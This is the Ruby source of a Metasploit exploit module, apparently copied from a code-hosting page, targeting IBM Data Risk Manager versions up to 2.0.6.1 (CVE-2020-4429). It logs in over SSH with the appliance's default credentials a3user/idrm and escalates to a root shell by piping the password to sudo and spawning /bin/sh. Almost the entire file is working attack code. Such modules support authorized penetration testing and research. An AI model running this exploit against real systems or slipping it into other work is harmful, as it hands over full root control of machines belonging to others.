Path: blob/master/modules/exploits/linux/ssh/ibm_drm_a3user.rb
27885 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SSH910def initialize(info = {})11super(12update_info(13info,14'Name' => 'IBM Data Risk Manager a3user Default Password',15'Description' => %q{16This module abuses a known default password in IBM Data Risk Manager. The 'a3user'17has the default password 'idrm' and allows an attacker to log in to the virtual appliance18via SSH. This can be escalate to full root access, as 'a3user' has sudo access with the default password.19At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM.20Versions <= 2.0.6.1 are confirmed to be vulnerable.21},22'License' => MSF_LICENSE,23'Author' => [24'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module25],26'References' => [27[ 'CVE', '2020-4429' ], # insecure default password28[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],29[ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ],30[ 'URL', 'https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/'],31[ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]32],33'Payload' => {34'Compat' => {35'PayloadType' => 'cmd_interact',36'ConnectionType' => 'find'37}38},39'Platform' => 'unix',40'Arch' => ARCH_CMD,41'Targets' => [42[ 'IBM Data Risk Manager <= 2.0.6.1', {} ]43],44'Privileged' => true,45'DefaultTarget' => 0,46'DisclosureDate' => '2020-04-21',47'Notes' => {48'Stability' => [CRASH_SAFE],49'Reliability' => [REPEATABLE_SESSION],50'SideEffects' => []51}52)53)5455register_options(56[57Opt::RPORT(22),58OptString.new('USERNAME', [true, 'Username to login with', 'a3user']),59OptString.new('PASSWORD', [true, 'Password to login with', 'idrm'])60]61)6263register_advanced_options(64[65OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),66OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])67]68)69end7071def on_new_session(client)72print_status("#{peer} - Escalating privileges to root, please wait a few seconds...")73# easiest way I found to get passwordless root, not sure if there's a shorter command74client.shell_command_token("echo #{datastore['PASSWORD']} | sudo -S 'echo 2>/dev/null'; sudo /bin/sh")75print_good("#{peer} - Done, enjoy your root shell!")76end7778def rhost79datastore['RHOST']80end8182def rport83datastore['RPORT']84end8586def peer87"#{rhost}:#{rport}"88end8990def do_login(user, pass)91opts = ssh_client_defaults.merge({92auth_methods: ['password', 'keyboard-interactive'],93port: rport,94password: pass95})9697opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']9899begin100ssh =101::Timeout.timeout(datastore['SSH_TIMEOUT']) do102Net::SSH.start(rhost, user, opts)103end104rescue Rex::ConnectionError105fail_with(Failure::Unknown, "#{peer} SSH - Connection error")106rescue Net::SSH::Disconnect, ::EOFError107fail_with(Failure::Unknown, "#{peer} SSH - Disconnected during negotiation")108rescue ::Timeout::Error109fail_with(Failure::Unknown, "#{peer} SSH - Timed out during negotiation")110rescue Net::SSH::AuthenticationFailed111fail_with(Failure::Unknown, "#{peer} SSH - Failed authentication")112rescue Net::SSH::Exception => e113fail_with(Failure::Unknown, "#{peer} SSH Error: #{e.class} : #{e.message}")114end115116return Net::SSH::CommandStream.new(ssh, logger: self) if ssh117118nil119end120121def exploit122user = datastore['USERNAME']123pass = datastore['PASSWORD']124125print_status("#{peer} - Attempting to log in to the IBM Data Risk Manager appliance...")126conn = do_login(user, pass)127if conn128print_good("#{peer} - Login successful (#{user}:#{pass})")129handler(conn.lsock)130end131end132end133134135